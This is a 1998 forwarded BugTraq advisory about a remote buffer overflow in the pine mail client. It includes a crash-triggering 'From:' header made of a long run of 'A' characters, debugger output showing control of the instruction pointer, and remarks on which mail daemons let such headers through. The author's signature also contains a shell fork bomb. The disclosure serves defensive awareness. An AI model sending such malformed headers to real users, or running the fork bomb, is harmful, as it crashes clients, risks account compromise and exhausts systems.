Subject: another remote pine vunerability (fwd from BugTraq)

From: Timothy J Luoma <luomat+Lists/Unix/[email-masked]>
Date: Thu, 18 Jun 98 13:09:03 -0400

Begin forwarded message:

Approved-By: [email-masked]
Message-ID: <[email-masked]>
Date: Wed, 17 Jun 1998 16:57:28 +0200
Reply-To: Michal Zalewski <[email-masked]>
Sender: Bugtraq List <[email-masked]>
From: Michal Zalewski <[email-masked]>
Subject: another remote pine vunerability
To: [email-masked]

Recently I found silly remote overflow in pine. It's so simple there's no
need to describe it:

From: Michal Zalewski  
<lcamtuf@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
!
!
!
!
AAAAAAAAAAAAAAAAAAAAAAAAA>

...and any attempt of reading this mail will cause:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

It can be exploited to gain access to remote/local accounts. Fortunately,
too long headers are destroyed by sendmail during prescan (maybe there's
any way to split long line using encoding tricks):

Jun 17 16:49:24 genome sendmail[689]: QAA00689: SYSERR(root): prescan:
token too long

But other mail daemons aren't so strict - it works.

_______________________________________________________________________
Michal Zalewski [[email-masked]] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]